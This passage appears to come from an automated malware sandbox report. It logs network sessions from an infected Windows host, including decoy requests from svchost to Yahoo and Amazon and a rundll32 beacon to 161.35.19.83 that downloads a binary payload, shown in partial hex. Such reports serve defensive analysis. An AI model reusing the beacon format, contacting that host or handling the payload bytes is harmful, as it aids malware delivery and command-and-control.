3d f3 52 99 3c dd ab 5e ee 1a eb 05 f8 3c dd 47 ec 2a 6a 76 0d e3 4f d2 8f 85 f2 68 75 bd Data Ascii: U]o6+,Yt=l{"(.W]}n"u=Pa9n{]1+:`Ch[`^kz<{VJZqQFb:i+:S6nVD_z%=I X$2[HbsLed=R<^<GjvOhu

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.3	49940	87.248.100.216	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:54:00 UTC	952	OUT	GET /eAtiq6q23uzpfjnsva/q3xgjbji2c1D0csjhBdkai07oEncd5Ye9nkajur7/vs1170vtjt79fs2aj87jy2t5tyzm66Zp0viChousraf8/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.yahoo.com Connection: Keep-Alive Cookie: B=clggcmtgl5iga&b=3&s=a5
2021-09-28 07:54:00 UTC	953	IN	HTTP/1.1 404 Not Found date: Tue, 28 Sep 2021 07:53:59 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: private x-content-type-options: nosniff content-type: text/html; charset=UTF-8 x-envoy-upstream-service-time: 10 server: ATS Content-Length: 782 Age: 1 Connection: close Strict-Transport-Security: max-age=31536000 Content-Security-Policy: frame-ancestors 'self' https://.builtbygirls.com https://.rivals.com https://.engadget.com https://.intheknow.com https://.autoblog.com https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.search.aol.com https://.search.huffpost.com https://.verizonmedia.com https://.publishing.oath.com https://.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=825ibo9gl5igo&partner=; X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block
2021-09-28 07:54:00 UTC	954	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 42 3d 63 6c 67 67 63 6d 74 67 6c 35 69 67 61 26 62 3d 33 26 73 3d 61 35 3b 20 45 78 70 69 72 65 73 3d 57 65 64 2c 20 32 38 20 53 65 70 20 32 30 32 32 20 31 33 3a 35 34 3a 30 30 20 47 4d 54 3b 20 4d 61 78 2d 41 67 65 3d 33 31 35 35 37 36 30 30 3b 20 44 6f 6d 61 69 6e 3d 2e 79 61 68 6f 6f 2e 63 6f 6d 3b 20 50 61 74 68 3d 2f 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 6e 6f 2d 72 65 66 Data Ascii: Set-Cookie: B=clggcmtgl5iga&b=3&s=a5; Expires=Wed, 28 Sep 2022 13:54:00 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"Referrer-Policy: no-ref
2021-09-28 07:54:00 UTC	954	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 75 74 66 2d 38 27 3e 0a 3c 73 63 72 69 70 74 3e 0a 76 61 72 20 75 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 3f 65 72 72 3d 34 30 34 26 65 72 72 5f 75 72 6c 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 66 65 41 74 69 71 36 71 32 33 75 7a 70 66 6a 6e 73 76 61 25 32 66 71 33 78 67 6a 62 6a 69 32 63 31 44 30 63 73 6a 68 42 64 6b 61 69 30 37 6f 45 6e 63 64 35 59 65 39 6e 6b 61 6a 75 72 37 25 32 66 76 73 31 31 37 30 76 74 6a 74 37 39 66 73 32 61 6a 38 37 6a 79 32 74 35 74 79 7a 6d 36 36 5a 70 30 76 69 43 68 6f 75 73 72 61 66 38 25 32 66 27 3b 0a 69 66 28 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 74 6f 70 29 7b 0a 20 20 Data Ascii: <html><meta charset='utf-8'><script>var u='https://www.yahoo.com/?err=404&err_url=https%3a%2f%2fwww.yahoo.com%2feAtiq6q23uzpfjnsva%2fq3xgjbji2c1D0csjhBdkai07oEncd5Ye9nkajur7%2fvs1170vtjt79fs2aj87jy2t5tyzm66Zp0viChousraf8%2f';if(window!=window.top){

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.3	49941	162.219.225.118	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:54:00 UTC	955	OUT	GET /ruhmqj52my7pp86DzBjihfe/5Gas5ouavctnk1jk0e3Z1dmfpizvxcylrv5x6H14pkc/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.amazon.com Connection: Keep-Alive
2021-09-28 07:54:00 UTC	955	IN	HTTP/1.1 404 Not Found Connection: close Content-Length: 897 server: Server date: Tue, 28 Sep 2021 07:54:00 GMT content-type: text/html permissions-policy: interest-cohort=() x-amz-rid: WR1820SJGAZTDD7RW0KH x-sdch-encode: 0 last-modified: Tue, 10 Aug 2021 22:12:21 GMT etag: "687-5c93bcbae3b40-gzip" accept-ranges: bytes content-encoding: gzip vary: Accept-Encoding,User-Agent,Content-Type,Accept-Encoding,X-Amzn-CDN-Cache,X-Amzn-AX-Treatment,User-Agent strict-transport-security: max-age=47474747; includeSubDomains; preload x-frame-options: SAMEORIGIN
2021-09-28 07:54:00 UTC	956	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 a5 55 5d 6f db 36 14 fd 2b 2c 85 0e f1 12 59 92 93 74 8d be b0 15 ed 82 3d 6c 18 d0 00 7b 18 86 80 22 af 28 2e 14 c9 91 57 8e 5d c3 ff 7d 90 e4 d8 6e fa d8 07 11 22 75 ef 3d f7 1c f2 50 e5 1b 61 39 6e 1d 90 0e 7b 5d 97 87 11 98 a8 cb 1e 90 11 de 31 1f 00 2b 3a 60 1b bf a7 87 d5 0e d1 c5 f0 df a0 d6 15 dd c4 03 8b b9 ed 1d 43 d5 68 a0 84 5b 83 60 b0 a2 0a 2a 10 12 5e 92 0c eb a1 a2 6b 05 cf ce 7a 3c 8b 7b 56 02 bb 4a c0 5a 71 88 a7 c9 15 51 46 a1 62 3a 0e 9c 69 a8 b2 2b 12 3a af cc 53 8c 36 6e 15 56 c6 d2 ba 44 85 1a ea 5f 7a f6 c5 9a 25 b7 3d f9 93 49 20 7f 58 24 bf da c1 88 32 99 03 ca 80 5b 0d f5 48 ed aa b1 62 bb 73 4c 08 65 64 9e 16 3d f3 52 99 3c dd ab 5e ee 1a eb 05 f8 3c dd 47 ec 2a 6a 76 0d e3 4f d2 8f 85 f2 68 75 bd Data Ascii: U]o6+,Yt=l{"(.W]}n"u=Pa9n{]1+:`Ch[`^kz<{VJZqQFb:i+:S6nVD_z%=I X$2[HbsLed=R<^<GjvOhu

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.3	49944	87.248.100.216	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:54:01 UTC	957	OUT	GET /mv5d2ghb91jYux3rhfgUzspdpQ/nrdl3qvgju3ifqEhQsmfgwlvqpxjErohrn/8aj6zfdmkmm2lf5o8vjm8A6e0acvc16rig6/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.yahoo.com Connection: Keep-Alive Cookie: B=clggcmtgl5iga&b=3&s=a5
2021-09-28 07:54:01 UTC	957	IN	HTTP/1.1 404 Not Found date: Tue, 28 Sep 2021 07:54:00 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: private x-content-type-options: nosniff content-type: text/html; charset=UTF-8 x-envoy-upstream-service-time: 9 server: ATS Content-Length: 768 Age: 1 Connection: close Strict-Transport-Security: max-age=31536000 Content-Security-Policy: frame-ancestors 'self' https://.builtbygirls.com https://.rivals.com https://.engadget.com https://.intheknow.com https://.autoblog.com https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.search.aol.com https://.search.huffpost.com https://.verizonmedia.com https://.publishing.oath.com https://.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=3j1o0jhgl5igp&partner=; X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block
2021-09-28 07:54:01 UTC	958	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 42 3d 63 6c 67 67 63 6d 74 67 6c 35 69 67 61 26 62 3d 33 26 73 3d 61 35 3b 20 45 78 70 69 72 65 73 3d 57 65 64 2c 20 32 38 20 53 65 70 20 32 30 32 32 20 31 33 3a 35 34 3a 30 31 20 47 4d 54 3b 20 4d 61 78 2d 41 67 65 3d 33 31 35 35 37 36 30 30 3b 20 44 6f 6d 61 69 6e 3d 2e 79 61 68 6f 6f 2e 63 6f 6d 3b 20 50 61 74 68 3d 2f 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 6e 6f 2d 72 65 66 Data Ascii: Set-Cookie: B=clggcmtgl5iga&b=3&s=a5; Expires=Wed, 28 Sep 2022 13:54:01 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"Referrer-Policy: no-ref
2021-09-28 07:54:01 UTC	959	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 75 74 66 2d 38 27 3e 0a 3c 73 63 72 69 70 74 3e 0a 76 61 72 20 75 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 3f 65 72 72 3d 34 30 34 26 65 72 72 5f 75 72 6c 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 66 6d 76 35 64 32 67 68 62 39 31 6a 59 75 78 33 72 68 66 67 55 7a 73 70 64 70 51 25 32 66 6e 72 64 6c 33 71 76 67 6a 75 33 69 66 71 45 68 51 73 6d 66 67 77 6c 76 71 70 78 6a 45 72 6f 68 72 6e 25 32 66 38 61 6a 36 7a 66 64 6d 6b 6d 6d 32 6c 66 35 6f 38 76 6a 6d 38 41 36 65 30 61 63 76 63 31 36 72 69 67 36 25 32 66 27 3b 0a 69 66 28 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 74 6f 70 29 7b 0a 20 20 64 6f 63 75 6d 65 6e Data Ascii: <html><meta charset='utf-8'><script>var u='https://www.yahoo.com/?err=404&err_url=https%3a%2f%2fwww.yahoo.com%2fmv5d2ghb91jYux3rhfgUzspdpQ%2fnrdl3qvgju3ifqEhQsmfgwlvqpxjErohrn%2f8aj6zfdmkmm2lf5o8vjm8A6e0acvc16rig6%2f';if(window!=window.top){ documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.3	49945	87.248.100.216	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:54:01 UTC	959	OUT	GET /b2YpY0vEhxawf6yh70/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.yahoo.com Connection: Keep-Alive Cookie: B=clggcmtgl5iga&b=3&s=a5
2021-09-28 07:54:01 UTC	960	IN	HTTP/1.1 404 Not Found date: Tue, 28 Sep 2021 07:54:01 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: private x-content-type-options: nosniff content-type: text/html; charset=UTF-8 x-envoy-upstream-service-time: 16 server: ATS Content-Length: 602 Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Content-Security-Policy: frame-ancestors 'self' https://.builtbygirls.com https://.rivals.com https://.engadget.com https://.intheknow.com https://.autoblog.com https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.search.aol.com https://.search.huffpost.com https://.verizonmedia.com https://.publishing.oath.com https://.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=6fk4mhpgl5igp&partner=; X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block
2021-09-28 07:54:01 UTC	961	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 42 3d 63 6c 67 67 63 6d 74 67 6c 35 69 67 61 26 62 3d 33 26 73 3d 61 35 3b 20 45 78 70 69 72 65 73 3d 57 65 64 2c 20 32 38 20 53 65 70 20 32 30 32 32 20 31 33 3a 35 34 3a 30 31 20 47 4d 54 3b 20 4d 61 78 2d 41 67 65 3d 33 31 35 35 37 36 30 30 3b 20 44 6f 6d 61 69 6e 3d 2e 79 61 68 6f 6f 2e 63 6f 6d 3b 20 50 61 74 68 3d 2f 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 6e 6f 2d 72 65 66 Data Ascii: Set-Cookie: B=clggcmtgl5iga&b=3&s=a5; Expires=Wed, 28 Sep 2022 13:54:01 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"Referrer-Policy: no-ref
2021-09-28 07:54:01 UTC	961	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 75 74 66 2d 38 27 3e 0a 3c 73 63 72 69 70 74 3e 0a 76 61 72 20 75 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 3f 65 72 72 3d 34 30 34 26 65 72 72 5f 75 72 6c 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 66 62 32 59 70 59 30 76 45 68 78 61 77 66 36 79 68 37 30 25 32 66 27 3b 0a 69 66 28 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 74 6f 70 29 7b 0a 20 20 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 27 3c 70 3e 43 6f 6e 74 65 6e 74 20 69 73 20 63 75 72 72 65 6e 74 6c 79 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 3c 2f 70 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 2f 67 65 6f 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 70 3f 73 3d 31 31 39 37 Data Ascii: <html><meta charset='utf-8'><script>var u='https://www.yahoo.com/?err=404&err_url=https%3a%2f%2fwww.yahoo.com%2fb2YpY0vEhxawf6yh70%2f';if(window!=window.top){ document.write('<p>Content is currently unavailable.</p><img src="//geo.yahoo.com/p?s=1197

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.3	49843	161.35.19.83	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:53:15 UTC	16	OUT	GET /feed/news/last HTTP/1.1 Date: Tuesday, 28 September 2021 Cookie: ANID=gq8ZNbDF5ks85z4P%2BIMaH%2FzRLe46r7%2F%2Bhnn%2FpDJO9YmEXgEQh2yDpRm3wm6yEc8nw0QU9K1eeO0FbnVhhYzuhW9U2CPf4r9Sa0ADgwo6ZchGF7aQeC26N6C%2FCCbYOrfYNipK%2B2Zc6aerq5aAq%2F5DlAaVWkC3UqSbjwPa87rS4RRJ%2FgQ%2BhUe9KG7SMycbxOmDLWgMm5AorosFNcYgqAbxdUeyPWj58HkitgRmQpb0AnoipNS8s%2BRYlVzgQTpYz2w2ApzBXhbNaHx6H%2BPNhSnIBxjhUJh%2BEnfERdY3%2FereScY2VGlOIu9kQN2qSQB6cX%2FydHVs9oYSGgbalJ9%2FKRtZmA%3D%3D;DV=bk1e1AVb6bDBB15TZjdSHREOW%2FpPzJGiFV9CC4w%2F%2BDx8qoF2uEA7WsLRf%2FUyQzTlvcrFAs8xyIvjF0FxbAOneQHOTC1X%2FkR%2Bipspqpxs9yBiScZtgCVRH3Qtnyvj8mqmgG1mJfXIHbzQT6u%2FepOCTNAReKIkt7YhDNBO1ICa6WekK6uTi7ORETgdkoUHR7LtbvFScvvUTwmcd3YhwAoD5GRsDCVwj69ja%2F7vpIhsjIg%2BU%2FU5N52YACv682It0Ux3Q%2FDWwrRqMBQkDS7bCNiIymAw49W8LbB8hCYb%2Fd84nRLJh1ZSQuLr8eGg9Xz%2FEBv90Jsa01XrnPCO3R8bzdP5Ww%3D%3D;HSID=7p20kAQ%2Bbwnc%2FHObB8HIDXCdDzy0aS%2F4zQzJgIj7SYi7g2LYEJsykLqHExJiNFar0sLsh0oPKRVqHc6td1VxYY1p8MosCeAKFuhcgvWWNGfzb5s%2FPpUK7pwZmxt%2F25aKTLZUex0Hd%2Fadg7kBasDUQA6QtXKV0DM4MPJ9yMmynszF8pVvrb%2F9euiJq3r9dyDEMWi3aSAcKn5NBEDkkogPuLT%2BzcceY6IrPVjayohjRSmdyaYkUzDbCrN8E7V%2FYMTdbDJlXosZgVSKo3dszKyormVc%2BWW2nnF4F9GTwhaDIvMO1RfClU12mtBDTq5RzX1b2hCRYyE0Qrl%2BGQV11UICqQ%3D%3D;CGIC=Cexv80shhUzwIt5yiuHlgX%2BZkkazRCMjSkAxbNC8D%2B4M%2BETLLEur34ULZCuY9IEiKzupLECHIwpCx1VGaJsPZGGKuaTj5ergaDr1x6KV8CEVQvl%2FWS3dPPbvIMN78V5NR8trJBhIMCRTC7%2Bl%2FHWf%2FDWa9OkE5CqMyUmjhChEvUPtnE5DJq%2BjCUSAUHdToTXWI7hKJvUJZBZrLNHa4Sl1O9AgP93EPs6ORMvwH7yrU1g9x1jysF7Mw%2BLtyzwruO6JmliQpaNrER5RE7OC4zaylRqldXmUqWOBarWvVZB6d2fhRRFVpXkCg8k%2BYN6HJUUe0FLD3ZGVZiFWpnZ46va99w%3D%3D; Var: HvCfX7r%2F%2Fyc7VNJ2u4RyBzMwa2jTWigcYwYPJvKLBZIHmPHsU3dolgjc5Ev%2BuW8akXBNALZohp8bkIoRvQ%2FbjBJLVvRcWu6LDqPELn%2B4br31yAtulcj9YjM7jJcYTaAIwhAEJZfxlrlObTCtJ2vIf26lmclnjtktIKBkzT0yCkdO2lL9Ej%2BSGtnOIluAvpdCmZDUHVCdmvZZn5wseu89kO%2F%2Fyu0vvw2FFTzw39J45FwmRggoYHBJXvhynwm6WEN%2B5RJT2exvxO2fNPR9ahxxd3RRRsMPJ69s85wylP0YUJ6LpNG27%2Fv2OZ3nx79PBFguSjpAApKIdr9q8UQ5Zyx%2FGQ%3D%3D X-Tag: %2BVQdD3Fps7PU59NYqhIkzVxY3NtDDD9%2F6F4hqd%2F7XKa3tsWvnyorQejUQ6ETB7BVvsKanr3rvSjf0lWtwhxj%2BR%2BJO8mesamG1CCDaOA6wf8XQxl0Ze4E%2Biy4iyVh%2BDKbo8n4A6fMMVbGVYo7Q14HW5b2HpHB3EoGnuAxCoKcXPcH2xjZ56bdr7tYZ1VrYxBz%2FS9LJ%2Fuxsz%2BONyPYqAI%2FOfq2%2BvSe5wrajdRGUleErrncYtWuTWHRqy7GNj1o97GOkCTPJOH0wLg029hQzv4tHmJ1dzYSlXkLe4YdqOdg0NSHvctcsG5aHTEXXzHKPThILCJC7AVcqqFKZfriH72ZTg%3D%3D Vary: adtDcv1WJ4z9M1pK8m1TQaSKE%2BZmVrj9z%2FPYbLwqg8tDruh3KjpDc7d%2FBMB%2Fd3jF2Jx%2BMcKHpTTvhSz%2FNQsh2RE7awLJmBYHF91RmBu47eNbPHJqCif5Zfd79IDlpeL3not337GFtbhnKM2oEG9j0ogYVgw3w4zuNGsQ4PCX3HIckDDO8mDZBcyX5XAuEJEBZqzRIgqHeSkBGcYTYB2%2BFkZ%2FCxE%2FYsk3wJbHrAvnSdU%2FC3rAULYBNhqSmR3z1pj4EFoQafQpe9eCCK2WQ4oohiTXUAIMvDLpkRenZbzXv5qYGqPtbJMHIEgZElWQ5S%2BN3CCosw10ZDiN9bXNX7peLA%3D%3D User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 Host: 161.35.19.83
2021-09-28 07:53:17 UTC	18	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Content-Type: application/octet-stream Content-Length: 293376 Connection: close Date: Tue, 28 Sep 2021 07:53:16 GMT Content-Description: File Transfer Content-Disposition: attachment; filename=iJNdwcRSva Content-Transfer-Encoding: binary Expires: 0 Cache-Control: must-revalidate, post-check=0, pre-check=0 Pragma: public X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block
2021-09-28 07:53:17 UTC	19	IN	Data Raw: 43 20 2a 0e 67 bd 43 3b 51 bc f3 dd 1b 6a 57 34 59 8f 38 87 1d 65 62 4f c8 ff c2 72 45 63 c8 12 2d 64 0d ae 7e 9a 88 1b 6f 0c 4e 2e 0e f2 aa d1 cd d4 f2 07 b9 e1 5e 92 29 8c 1b 78 aa 3e 22 1a 0b 1e 85 a2 ea 36 f1 1b 2c 7d 7f c5 25 53 d7 d3 47 9f 3c 8e a0 1c 48 08 3b 88 61 20 cc dc 27 5e 11 f7 9f 01 eb 95 fb 63 a9 72 40 df b9 05 65 aa 0c 3b 87 52 ef a7 63 1e 6a dd da fe 34 26 cf 4e a2 c5 60 4a 8f c3 d9 da f0 89 59 67 0a f0 b1 6a 3b 93 ed 81 c9 97 ce d4 ed 8b 70 d0 9b 7f 6d 09 65 63 34 45 97 8f 1b eb 55 69 c6 55 2c 85 2b 14 e2 aa 91 f2 75 a4 c8 ca f1 43 3e 38 40 af 5e 92 a1 e2 f9 c5 fe ee 0c 5a 3e 41 70 53 80 da fb 24 fb 32 d5 d1 f0 2f 13 cf 39 54 46 a7 de 54 b8 1b 94 c7 d5 05 42 ce 55 44 e1 cc cb 2d 26 99 9c ad 39 90 bf e9 31 22 7e 0c 62 92 0c b6 be f2 25 Data Ascii: C *gC;QjW4Y8ebOrEc-d~oN.^)x>"6,}%SG<H;a '^cr@e;Rcj4&N`JYgj;pmec4EUiU,+uC>8@^Z>ApS$2/9TFTBUD-&91"~b%
2021-09-28 07:53:17 UTC	22	IN	Data Raw: 62 22 83 09 3f c0 5c 94 4f 19 3d 18 13 09 d4 22 8e 35 62 02 ae f1 60 4c 05 0a 49 1d 74 54 ed a9 67 3f c7 28 c2 a2 ca b4 9d b1 80 73 84 02 76 a0 d2 27 c7 7a f3 12 be 67 64 6f f5 33 c0 2b 10 90 49 d8 e7 3f 14 ec 54 bd 38 61 63 b7 df 3b ee 2f 4d 59 dc ce c1 10 69 96 bf a2 60 e7 14 11 f4 51 90 fa 3a d2 d4 b7 db 62 a6 d6 5e 6b 4d 68 d5 0f f0 d1 58 35 a7 1d 64 3b fa 9c 9c 3f c0 7b 93 66 2d 71 8b fe a2 4c f0 13 11 1a a6 31 88 7c 30 a0 8a 64 c1 36 c0 ff 11 37 8d bb 97 fe f5 ef 51 94 51 24 42 15 89 ee 0f d0 ce 3c 83 76 51 00 c7 3c d3 42 9a 6d 12 5b f2 b9 a8 75 dc b0 69 57 57 7e c2 fa ef b8 d2 b8 e5 ea 5e ee fd 4b a2 16 68 c6 9d d3 59 2a af 43 0f 5b 30 05 53 bb b8 0d 57 8f 76 9f 56 56 3a ab 6f e4 50 e0 f9 cb c3 65 f2 70 94 01 94 2f f3 1c 57 c8 3b f6 28 e3 5c ae da Data Ascii: b"?\O="5b`LItTg?(sv'zgdo3+I?T8ac;/MYi`Q:b^kMhX5d;?{f-qL1\|0d67QQ$B<vQ<Bm[uiWW~^KhY*C[0SWvVV:oPep/W;(\
2021-09-28 07:53:17 UTC	26	IN	Data Raw: 6a ca 9d 80 7f 66 84 fe 57 1a 67 ab f3 73 78 72 37 e4 d9 ee ba 4e 24 2c 0a 87 57 7c 7b e3 42 56 3a 85 22 a3 2b 3c 81 1c c7 0a ab f0 f0 a6 3b 2d 86 71 b0 90 d6 a9 57 f2 2b aa 62 96 bc 21 9c 4f 3d 09 1d 26 c0 3e 7d 09 fc f9 51 94 e7 3f e3 b9 d2 f4 5b 08 03 94 a3 29 a6 d4 33 ed ab d3 34 de 47 02 32 c8 3a 64 69 b9 dd de 97 e3 12 04 47 84 2e 3e c4 07 47 e3 f2 80 db 22 a7 26 1d a6 04 9f 11 3d 20 ca ba 23 06 21 4c 7a 27 e5 7f 9f de da 1b 07 5b 13 8e d6 88 3d 64 bd d3 18 a3 d2 0c 34 66 c9 79 cd fd 79 56 54 e2 f5 a0 dc 44 3a c5 d4 1f a8 fa 04 5c ac ea ab 3a b0 5a eb f9 dd 6c 33 ea 72 c0 08 6b 20 51 50 65 83 bb f4 52 e1 cd df d7 04 30 4d 67 bd f7 de 8a c6 7f ba 38 23 8e 10 83 d9 c0 70 19 5f 84 78 54 ee ea f4 52 90 ae c8 2e 7c 97 61 80 fc 81 a6 1a a0 e6 ec 5a 20 eb Data Ascii: jfWgsxr7N$,W\|{BV:"+<;-qW+b!O=&>}Q?[)34G2:diG.>G"&= #!Lz'[=d4fyyVTD:\:Zl3rk QPeR0Mg8#p_xTR.\|aZ
2021-09-28 07:53:17 UTC	30	IN	Data Raw: 97 b9 2e d5 4e 2a e1 0f 96 0e 4d 56 dc 8f 7b b2 b8 7b 21 72 32 d4 63 78 75 87 33 9e 85 61 2f 75 75 b6 63 43 2e 85 18 b1 ab 46 33 69 3b 37 04 b6 3d 8f 6a f6 5e a9 74 08 d7 a9 d1 00 c6 b4 6a 3f 63 b7 a4 83 4b 40 e7 f9 a5 f5 a4 5a 66 a9 17 3b 49 c8 0b f4 2a 3e 0e 1a b5 b3 c3 3e 6d 36 32 a1 c4 ae 7e b1 a5 e0 ee bf d1 4f 09 f5 d3 77 05 b7 99 d5 84 38 f8 95 40 ea 2e 40 be ab 5c 38 c2 ef e8 ca 0a 73 42 fb f1 96 4f ba 21 c1 73 c9 c3 35 15 11 0e 26 69 2b fa 4f e4 7d fb 8f 5f dd 69 16 35 87 1c fb 54 b7 5f ea 7c 4d 80 12 4b b3 7e 43 fb 0d 32 05 80 2a 46 01 be a7 d3 1c d8 bc de 97 b3 db ea 14 1f 73 61 2e 52 43 cb 60 04 91 15 db 21 2e 6f e8 3c 24 07 17 ad 64 80 94 e2 be bf b3 ed 95 10 10 ac 6f 69 de f7 22 2a 0d c7 c3 79 b9 56 9b 18 